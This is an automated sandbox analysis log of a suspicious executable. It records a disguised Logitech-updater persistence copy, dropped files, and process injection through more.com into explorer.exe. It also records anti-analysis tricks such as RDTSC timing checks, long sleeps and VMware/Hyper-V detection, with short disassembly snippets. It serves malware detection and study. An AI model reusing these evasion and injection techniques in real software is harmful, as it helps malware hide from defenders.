Source: C:\Users\user\Desktop\5Z1WFRMTOXRH6X21Z8NU8.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Roaming\LogiOptionsPlus\logioptionsplus_updater.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Roaming\LogiOptionsPlus\logioptionsplus_updater.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Roaming\LogiOptionsPlus\logioptionsplus_updater.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Roaming\LogiOptionsPlus\logioptionsplus_updater.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior

Source: C:\Users\user\Desktop\5Z1WFRMTOXRH6X21Z8NU8.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 5Z1WFRMTOXRH6X21Z8NU8.exe

ReversingLabs: Detection: 18%

Source: explorer.exe	String found in binary or memory: " /add
Source: explorer.exe	String found in binary or memory: " /add /y
Source: 5Z1WFRMTOXRH6X21Z8NU8.exe	String found in binary or memory: %%DebenuPDFLibrary-Start
Source: 5Z1WFRMTOXRH6X21Z8NU8.exe	String found in binary or memory: SetLicenseKeyErrorPDW32.dll is not found. Please re-install program as administrator.S
Source: 5Z1WFRMTOXRH6X21Z8NU8.exe	String found in binary or memory: EActiveX DLL is not found. Please re-install program as administrator.U
Source: 5Z1WFRMTOXRH6X21Z8NU8.exe	String found in binary or memory: :The help file is not found. Please re-install the program.
Source: 5Z1WFRMTOXRH6X21Z8NU8.exe	String found in binary or memory: document-add-2_large@1x
Source: 5Z1WFRMTOXRH6X21Z8NU8.exe	String found in binary or memory: document-text-add-2_large@1x
Source: 5Z1WFRMTOXRH6X21Z8NU8.exe	String found in binary or memory: file-image-add-2_large@1x
Source: 5Z1WFRMTOXRH6X21Z8NU8.exe	String found in binary or memory: folder-add-2_large@1x

Source: C:\Users\user\Desktop\5Z1WFRMTOXRH6X21Z8NU8.exe

File read: C:\Users\user\Desktop\5Z1WFRMTOXRH6X21Z8NU8.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\5Z1WFRMTOXRH6X21Z8NU8.exe "C:\Users\user\Desktop\5Z1WFRMTOXRH6X21Z8NU8.exe"
Source: C:\Users\user\Desktop\5Z1WFRMTOXRH6X21Z8NU8.exe	Process created: C:\Windows\SysWOW64\more.com C:\Windows\SysWOW64\more.com
Source: C:\Windows\SysWOW64\more.com	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Roaming\LogiOptionsPlus\logioptionsplus_updater.exe C:\Users\user\AppData\Roaming\LogiOptionsPlus\logioptionsplus_updater.exe
Source: unknown	Process created: C:\Users\user\AppData\Roaming\LogiOptionsPlus\logioptionsplus_updater.exe "C:\Users\user\AppData\Roaming\LogiOptionsPlus\logioptionsplus_updater.exe"
Source: C:\Users\user\AppData\Roaming\LogiOptionsPlus\logioptionsplus_updater.exe	Process created: C:\Windows\SysWOW64\more.com C:\Windows\SysWOW64\more.com
Source: C:\Windows\SysWOW64\more.com	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\more.com	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\SysWOW64\more.com	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe
Source: C:\Users\user\Desktop\5Z1WFRMTOXRH6X21Z8NU8.exe	Process created: C:\Windows\SysWOW64\more.com C:\Windows\SysWOW64\more.com	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\LogiOptionsPlus\logioptionsplus_updater.exe	Process created: C:\Windows\SysWOW64\more.com C:\Windows\SysWOW64\more.com	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe	Jump to behavior

Source: C:\Users\user\Desktop\5Z1WFRMTOXRH6X21Z8NU8.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\5Z1WFRMTOXRH6X21Z8NU8.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\5Z1WFRMTOXRH6X21Z8NU8.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\5Z1WFRMTOXRH6X21Z8NU8.exe	Section loaded: fontsub.dll	Jump to behavior
Source: C:\Users\user\Desktop\5Z1WFRMTOXRH6X21Z8NU8.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\5Z1WFRMTOXRH6X21Z8NU8.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\5Z1WFRMTOXRH6X21Z8NU8.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\5Z1WFRMTOXRH6X21Z8NU8.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\5Z1WFRMTOXRH6X21Z8NU8.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\5Z1WFRMTOXRH6X21Z8NU8.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\5Z1WFRMTOXRH6X21Z8NU8.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\5Z1WFRMTOXRH6X21Z8NU8.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\5Z1WFRMTOXRH6X21Z8NU8.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\5Z1WFRMTOXRH6X21Z8NU8.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\5Z1WFRMTOXRH6X21Z8NU8.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\5Z1WFRMTOXRH6X21Z8NU8.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\5Z1WFRMTOXRH6X21Z8NU8.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\5Z1WFRMTOXRH6X21Z8NU8.exe	Section loaded: shdocvw.dll	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Section loaded: ulib.dll	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Section loaded: fsutilext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Section loaded: wer.dll	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\LogiOptionsPlus\logioptionsplus_updater.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\LogiOptionsPlus\logioptionsplus_updater.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\LogiOptionsPlus\logioptionsplus_updater.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\LogiOptionsPlus\logioptionsplus_updater.exe	Section loaded: fontsub.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\LogiOptionsPlus\logioptionsplus_updater.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\LogiOptionsPlus\logioptionsplus_updater.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\LogiOptionsPlus\logioptionsplus_updater.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\LogiOptionsPlus\logioptionsplus_updater.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\LogiOptionsPlus\logioptionsplus_updater.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\LogiOptionsPlus\logioptionsplus_updater.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\LogiOptionsPlus\logioptionsplus_updater.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\LogiOptionsPlus\logioptionsplus_updater.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\LogiOptionsPlus\logioptionsplus_updater.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\LogiOptionsPlus\logioptionsplus_updater.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\LogiOptionsPlus\logioptionsplus_updater.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\LogiOptionsPlus\logioptionsplus_updater.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\LogiOptionsPlus\logioptionsplus_updater.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\LogiOptionsPlus\logioptionsplus_updater.exe	Section loaded: shdocvw.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\LogiOptionsPlus\logioptionsplus_updater.exe	Section loaded: msftedit.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\LogiOptionsPlus\logioptionsplus_updater.exe	Section loaded: comsvcs.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\LogiOptionsPlus\logioptionsplus_updater.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\LogiOptionsPlus\logioptionsplus_updater.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\LogiOptionsPlus\logioptionsplus_updater.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\LogiOptionsPlus\logioptionsplus_updater.exe	Section loaded: cmlua.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\LogiOptionsPlus\logioptionsplus_updater.exe	Section loaded: cmutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\LogiOptionsPlus\logioptionsplus_updater.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\LogiOptionsPlus\logioptionsplus_updater.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\LogiOptionsPlus\logioptionsplus_updater.exe	Section loaded: fontsub.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\LogiOptionsPlus\logioptionsplus_updater.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\LogiOptionsPlus\logioptionsplus_updater.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\LogiOptionsPlus\logioptionsplus_updater.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\LogiOptionsPlus\logioptionsplus_updater.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\LogiOptionsPlus\logioptionsplus_updater.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\LogiOptionsPlus\logioptionsplus_updater.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\LogiOptionsPlus\logioptionsplus_updater.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\LogiOptionsPlus\logioptionsplus_updater.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\LogiOptionsPlus\logioptionsplus_updater.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\LogiOptionsPlus\logioptionsplus_updater.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\LogiOptionsPlus\logioptionsplus_updater.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\LogiOptionsPlus\logioptionsplus_updater.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\LogiOptionsPlus\logioptionsplus_updater.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\LogiOptionsPlus\logioptionsplus_updater.exe	Section loaded: shdocvw.dll	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Section loaded: ulib.dll	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Section loaded: fsutilext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: shdocvw.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: shdocvw.dll	Jump to behavior

Source: C:\Windows\SysWOW64\more.com

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{5CE34C0D-0DC9-4C1F-897C-DAA1B78CEE7C}\InProcServer32

Jump to behavior

Source: C:\Users\user\AppData\Roaming\LogiOptionsPlus\logioptionsplus_updater.exe

File opened: C:\Windows\SysWOW64\msftedit.dll

Jump to behavior

Source: 5Z1WFRMTOXRH6X21Z8NU8.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: 5Z1WFRMTOXRH6X21Z8NU8.exe

Static file information: File size 11391336 > 1048576

Source: 5Z1WFRMTOXRH6X21Z8NU8.exe	Static PE information: Raw size of .text is bigger than: 0x100000 < 0x5d0a00
Source: 5Z1WFRMTOXRH6X21Z8NU8.exe	Static PE information: Raw size of .rsrc is bigger than: 0x100000 < 0x470e00

Source: 5Z1WFRMTOXRH6X21Z8NU8.exe

Static PE information: More than 200 imports for user32.dll

Source: 5Z1WFRMTOXRH6X21Z8NU8.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT

Source:	Binary string: sppcomapi.pdb source: more.com, 00000001.00000002.2420220367.0000000005250000.00000004.00001000.00020000.00000000.sdmp, more.com, 0000000C.00000002.2933117360.0000000000DA0000.00000004.00001000.00020000.00000000.sdmp, explorer.exe, explorer.exe, 0000000E.00000002.3581004685.00000000007D2000.00000008.00000001.01000000.00000000.sdmp, explorer.exe, 00000010.00000002.2933809914.00000000001F2000.00000008.00000001.01000000.00000000.sdmp, cnfpnteryde.1.dr, vkqcbyjdfiw.12.dr
Source:	Binary string: sppcomapi.pdbGCTL source: more.com, 00000001.00000002.2420220367.0000000005250000.00000004.00001000.00020000.00000000.sdmp, more.com, 0000000C.00000002.2933117360.0000000000DA0000.00000004.00001000.00020000.00000000.sdmp, explorer.exe, 0000000E.00000002.3581004685.00000000007D2000.00000008.00000001.01000000.00000000.sdmp, explorer.exe, 00000010.00000002.2933809914.00000000001F2000.00000008.00000001.01000000.00000000.sdmp, cnfpnteryde.1.dr, vkqcbyjdfiw.12.dr
Source:	Binary string: wntdll.pdbUGP source: 5Z1WFRMTOXRH6X21Z8NU8.exe, 00000000.00000002.2170108077.00000000054B0000.00000004.00000800.00020000.00000000.sdmp, 5Z1WFRMTOXRH6X21Z8NU8.exe, 00000000.00000002.2164119110.00000000046D8000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000001.00000002.2419589539.000000000425C000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000001.00000002.2419843860.0000000004700000.00000004.00001000.00020000.00000000.sdmp, more.com, 0000000C.00000002.2933160736.0000000004254000.00000004.00000020.00020000.00000000.sdmp, more.com, 0000000C.00000002.2933372891.0000000004700000.00000004.00001000.00020000.00000000.sdmp, explorer.exe, 0000000E.00000002.3582069173.0000000004F80000.00000004.00001000.00020000.00000000.sdmp, explorer.exe, 0000000E.00000002.3581630115.0000000004AD5000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.2934043403.0000000004E10000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.2934258001.00000000052C0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: 5Z1WFRMTOXRH6X21Z8NU8.exe, 00000000.00000002.2170108077.00000000054B0000.00000004.00000800.00020000.00000000.sdmp, 5Z1WFRMTOXRH6X21Z8NU8.exe, 00000000.00000002.2164119110.00000000046D8000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000001.00000002.2419589539.000000000425C000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000001.00000002.2419843860.0000000004700000.00000004.00001000.00020000.00000000.sdmp, more.com, 0000000C.00000002.2933160736.0000000004254000.00000004.00000020.00020000.00000000.sdmp, more.com, 0000000C.00000002.2933372891.0000000004700000.00000004.00001000.00020000.00000000.sdmp, explorer.exe, 0000000E.00000002.3582069173.0000000004F80000.00000004.00001000.00020000.00000000.sdmp, explorer.exe, 0000000E.00000002.3581630115.0000000004AD5000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.2934043403.0000000004E10000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.2934258001.00000000052C0000.00000004.00001000.00020000.00000000.sdmp

Source: 5Z1WFRMTOXRH6X21Z8NU8.exe	Static PE information: section name: .didata
Source: cnfpnteryde.1.dr	Static PE information: section name: dld
Source: vkqcbyjdfiw.12.dr	Static PE information: section name: dld

Source: C:\Windows\SysWOW64\explorer.exe

Code function: 14_2_00789FB1 push ecx; ret

14_2_00789FC4

Source: C:\Windows\SysWOW64\more.com	File created: C:\Users\user\AppData\Local\Temp\vkqcbyjdfiw			Jump to dropped file
Source: C:\Windows\SysWOW64\more.com	File created: C:\Users\user\AppData\Local\Temp\cnfpnteryde			Jump to dropped file

Source: C:\Windows\SysWOW64\more.com	File created: C:\Users\user\AppData\Local\Temp\cnfpnteryde			Jump to dropped file
Source: C:\Windows\SysWOW64\more.com	File created: C:\Users\user\AppData\Local\Temp\vkqcbyjdfiw			Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Found hidden mapped module (file has been removed from disk)

Source: C:\Windows\SysWOW64\more.com	Module Loaded: C:\USERS\user\APPDATA\LOCAL\TEMP\CNFPNTERYDE
Source: C:\Windows\SysWOW64\more.com	Module Loaded: C:\USERS\user\APPDATA\LOCAL\TEMP\VKQCBYJDFIW

Source: C:\Users\user\AppData\Roaming\LogiOptionsPlus\logioptionsplus_updater.exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Jump to behavior

Source: C:\Users\user\Desktop\5Z1WFRMTOXRH6X21Z8NU8.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\5Z1WFRMTOXRH6X21Z8NU8.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\LogiOptionsPlus\logioptionsplus_updater.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\LogiOptionsPlus\logioptionsplus_updater.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\LogiOptionsPlus\logioptionsplus_updater.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\LogiOptionsPlus\logioptionsplus_updater.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\5Z1WFRMTOXRH6X21Z8NU8.exe	API/Special instruction interceptor: Address: 75DA7C44
Source: C:\Users\user\Desktop\5Z1WFRMTOXRH6X21Z8NU8.exe	API/Special instruction interceptor: Address: 75DA7945
Source: C:\Windows\SysWOW64\more.com	API/Special instruction interceptor: Address: 75DA3B54
Source: C:\Users\user\AppData\Roaming\LogiOptionsPlus\logioptionsplus_updater.exe	API/Special instruction interceptor: Address: 75DA7C44
Source: C:\Windows\SysWOW64\explorer.exe	API/Special instruction interceptor: Address: B0A317
Source: C:\Users\user\AppData\Roaming\LogiOptionsPlus\logioptionsplus_updater.exe	API/Special instruction interceptor: Address: 75DA7945

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\5Z1WFRMTOXRH6X21Z8NU8.exe	RDTSC instruction interceptor: First address: 75DAF3E1 second address: 75DAF3FD instructions: 0x00000000 rdtsc 0x00000002 mov dword ptr [ebp-20h], eax 0x00000005 mov dword ptr [ebp-1Ch], edx 0x00000008 lea esi, dword ptr [ebp-38h] 0x0000000b xor eax, eax 0x0000000d xor ecx, ecx 0x0000000f cpuid 0x00000011 mov dword ptr [esi], eax 0x00000013 mov dword ptr [esi+04h], ebx 0x00000016 mov dword ptr [esi+08h], ecx 0x00000019 mov dword ptr [esi+0Ch], edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\5Z1WFRMTOXRH6X21Z8NU8.exe	RDTSC instruction interceptor: First address: 75DAF3FD second address: 75DAF3E1 instructions: 0x00000000 rdtsc 0x00000002 mov dword ptr [ebp-18h], eax 0x00000005 mov dword ptr [ebp-14h], edx 0x00000008 mov eax, dword ptr [ebp-18h] 0x0000000b sub eax, dword ptr [ebp-20h] 0x0000000e mov ecx, dword ptr [ebp-14h] 0x00000011 sbb ecx, dword ptr [ebp-1Ch] 0x00000014 add eax, dword ptr [ebp-10h] 0x00000017 adc ecx, dword ptr [ebp-0Ch] 0x0000001a mov dword ptr [ebp-10h], eax 0x0000001d mov dword ptr [ebp-0Ch], ecx 0x00000020 jmp 00007F8C64C6CA05h 0x00000022 mov edx, dword ptr [ebp-04h] 0x00000025 add edx, 01h 0x00000028 mov dword ptr [ebp-04h], edx 0x0000002b cmp dword ptr [ebp-04h], 64h 0x0000002f jnl 00007F8C64C6CA90h 0x00000031 rdtsc
Source: C:\Users\user\AppData\Roaming\LogiOptionsPlus\logioptionsplus_updater.exe	RDTSC instruction interceptor: First address: 75DAF3E1 second address: 75DAF3FD instructions: 0x00000000 rdtsc 0x00000002 mov dword ptr [ebp-20h], eax 0x00000005 mov dword ptr [ebp-1Ch], edx 0x00000008 lea esi, dword ptr [ebp-38h] 0x0000000b xor eax, eax 0x0000000d xor ecx, ecx 0x0000000f cpuid 0x00000011 mov dword ptr [esi], eax 0x00000013 mov dword ptr [esi+04h], ebx 0x00000016 mov dword ptr [esi+08h], ecx 0x00000019 mov dword ptr [esi+0Ch], edx 0x0000001c rdtsc
Source: C:\Users\user\AppData\Roaming\LogiOptionsPlus\logioptionsplus_updater.exe	RDTSC instruction interceptor: First address: 75DAF3FD second address: 75DAF3E1 instructions: 0x00000000 rdtsc 0x00000002 mov dword ptr [ebp-18h], eax 0x00000005 mov dword ptr [ebp-14h], edx 0x00000008 mov eax, dword ptr [ebp-18h] 0x0000000b sub eax, dword ptr [ebp-20h] 0x0000000e mov ecx, dword ptr [ebp-14h] 0x00000011 sbb ecx, dword ptr [ebp-1Ch] 0x00000014 add eax, dword ptr [ebp-10h] 0x00000017 adc ecx, dword ptr [ebp-0Ch] 0x0000001a mov dword ptr [ebp-10h], eax 0x0000001d mov dword ptr [ebp-0Ch], ecx 0x00000020 jmp 00007F8C64C6CA05h 0x00000022 mov edx, dword ptr [ebp-04h] 0x00000025 add edx, 01h 0x00000028 mov dword ptr [ebp-04h], edx 0x0000002b cmp dword ptr [ebp-04h], 64h 0x0000002f jnl 00007F8C64C6CA90h 0x00000031 rdtsc

Source: C:\Windows\SysWOW64\explorer.exe

Code function: 14_2_007D8A00 rdtsc

14_2_007D8A00

Source: C:\Windows\SysWOW64\explorer.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Thread delayed: delay time: 180000	Jump to behavior

Source: C:\Windows\SysWOW64\more.com	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\vkqcbyjdfiw			Jump to dropped file
Source: C:\Windows\SysWOW64\more.com	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\cnfpnteryde			Jump to dropped file

Source: C:\Users\user\Desktop\5Z1WFRMTOXRH6X21Z8NU8.exe TID: 7312	Thread sleep time: -40000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\LogiOptionsPlus\logioptionsplus_updater.exe TID: 8124	Thread sleep time: -40000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe TID: 1720	Thread sleep time: -90000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe TID: 6108	Thread sleep time: -180000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe TID: 764	Thread sleep time: -180000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe TID: 1720	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe TID: 2504	Thread sleep time: -180000s >= -30000s	Jump to behavior

Source: C:\Windows\SysWOW64\explorer.exe

Last function: Thread delayed

Source: C:\Windows\SysWOW64\explorer.exe

Code function: 14_2_0079ED13 FindFirstFileExW,

14_2_0079ED13

Source: C:\Windows\SysWOW64\explorer.exe

Code function: 14_2_007693D0 Sleep,GetVersionExW,GetModuleHandleA,GetProcAddress,GetNativeSystemInfo,GetSystemInfo,GetVersionExW,

14_2_007693D0

Source: C:\Windows\SysWOW64\explorer.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Thread delayed: delay time: 180000	Jump to behavior

Source: explorer.exe, 00000010.00000002.2934162913.00000000051C6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: noreply@vmware.com0
Source: explorer.exe, 00000010.00000002.2934162913.00000000051C6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: http://www.vmware.com/0
Source: explorer.exe, 00000010.00000002.2934162913.00000000051C6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware, Inc.1!0
Source: explorer.exe, 00000010.00000002.2934162913.00000000051C6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: http://www.vmware.com/0/
Source: explorer.exe, 0000000E.00000002.3581166960.0000000002EDA000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000002.3581166960.0000000002F16000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000002.3581166960.0000000002F2D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: explorer.exe, 00000010.00000002.2934162913.00000000051C6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware, Inc.1
Source: explorer.exe, 00000010.00000002.2934162913.00000000051C6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware, Inc.0

Source: C:\Users\user\Desktop\5Z1WFRMTOXRH6X21Z8NU8.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\SysWOW64\explorer.exe

Code function: 14_2_007D8A00 rdtsc

14_2_007D8A00

Source: C:\Windows\SysWOW64\explorer.exe

